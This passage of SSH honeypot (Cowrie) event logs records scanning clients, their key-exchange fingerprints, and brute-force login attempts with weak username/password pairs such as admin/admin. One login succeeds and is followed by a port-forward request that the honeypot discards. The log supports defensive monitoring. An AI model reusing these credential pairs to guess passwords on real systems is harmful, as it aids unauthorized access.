305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:35.517617Z","src_ip":"140.106.25.230","session":"795042f3d6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"88888888","message":"login attempt [ubuntu/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:35.670352Z","src_ip":"140.106.25.230","session":"795042f3d6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:36.705096Z","src_ip":"140.106.25.230","session":"795042f3d6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":42148,"dst_ip":"10.17.0.5","dst_port":22,"session":"09bf545b45b3","protocol":"ssh","message":"New connection: 152.32.238.146:42148 (10.17.0.5:22) [session: 09bf545b45b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:38.970144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:38.975388Z","src_ip":"152.32.238.146","session":"09bf545b45b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:38.986995Z","src_ip":"152.32.238.146","session":"09bf545b45b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass123","message":"login attempt [user1/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:39.064394Z","src_ip":"152.32.238.146","session":"09bf545b45b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:40.079330Z","src_ip":"152.32.238.146","session":"09bf545b45b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39502,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb136faac42","protocol":"ssh","message":"New connection: 159.203.92.129:39502 (159.203.135.109:22) [session: 7eb136faac42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:03.356341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:03.362318Z","src_ip":"159.203.92.129","session":"7eb136faac42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:03.370682Z","src_ip":"159.203.92.129","session":"7eb136faac42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:03.398317Z","src_ip":"159.203.92.129","session":"7eb136faac42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:04.411122Z","src_ip":"159.203.92.129","session":"7eb136faac42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":57614,"dst_ip":"10.17.0.5","dst_port":22,"session":"33012f2b4f48","protocol":"ssh","message":"New connection: 152.32.238.146:57614 (10.17.0.5:22) [session: 33012f2b4f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:18.390162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:18.397803Z","src_ip":"152.32.238.146","session":"33012f2b4f48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:18.410978Z","src_ip":"152.32.238.146","session":"33012f2b4f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"qwerty","message":"login attempt [webadmin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:18.506011Z","src_ip":"152.32.238.146","session":"33012f2b4f48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:19.523187Z","src_ip":"152.32.238.146","session":"33012f2b4f48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26806,"dst_ip":"10.17.0.5","dst_port":22,"session":"4754317a6fd3","protocol":"ssh","message":"New connection: 87.251.64.176:26806 (10.17.0.5:22) [session: 4754317a6fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:21.807606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:21.819597Z","src_ip":"87.251.64.176","session":"4754317a6fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:21.916613Z","src_ip":"87.251.64.176","session":"4754317a6fd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:22.215089Z","src_ip":"87.251.64.176","session":"4754317a6fd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:22.323178Z","session":"4754317a6fd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:22.428868Z","src_ip":"87.251.64.176","session":"4754317a6fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:22.529512Z","src_ip":"87.251.64.176","session":"4754317a6fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":40470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a1ef9dadd4c","protocol":"ssh","message":"New connection: 140.106.25.230:40470 (159.203.135.109:22) [session: 7a1ef9dadd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:23.358850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:23.363734Z","src_ip":"140.106.25.230","session":"7a1ef9dadd4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:23.393385Z","src_ip":"140.106.25.230","session":"7a1ef9dadd4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe456","message":"login attempt [ubuntu/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:23.545221Z","src_ip":"140.106.25.230","session":"7a1ef9dadd4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:24.578708Z","src_ip":"140.106.25.230","session":"7a1ef9dadd4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":55034,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c4f7ae9e2ed","protocol":"ssh","message":"New connection: 173.249.6.197:55034 (159.203.135.109:22) [session: 7c4f7ae9e2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:32.682266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:32.687055Z","src_ip":"173.249.6.197","session":"7c4f7ae9e2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:32.779343Z","src_ip":"173.249.6.197","session":"7c4f7ae9e2ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A1234567a","message":"login attempt [ubuntu/A1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:33.182340Z","src_ip":"173.249.6.197","session":"7c4f7ae9e2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:34.278599Z","src_ip":"173.249.6.197","session":"7c4f7ae9e2ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41790,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b53774fe3f4","protocol":"ssh","message":"New connection: 159.203.92.129:41790 (159.203.135.109:22) [session: 5b53774fe3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:46.885643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:46.890320Z","src_ip":"159.203.92.129","session":"5b53774fe3f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:46.895739Z","src_ip":"159.203.92.129","session":"5b53774fe3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123456","message":"login attempt [a/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:46.908507Z","src_ip":"159.203.92.129","session":"5b53774fe3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:47.915221Z","src_ip":"159.203.92.129","session":"5b53774fe3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":48192,"dst_ip":"10.17.0.5","dst_port":22,"session":"a31000935e92","protocol":"ssh","message":"New connection: 152.32.238.146:48192 (10.17.0.5:22) [session: a31000935e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.361400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.366181Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com"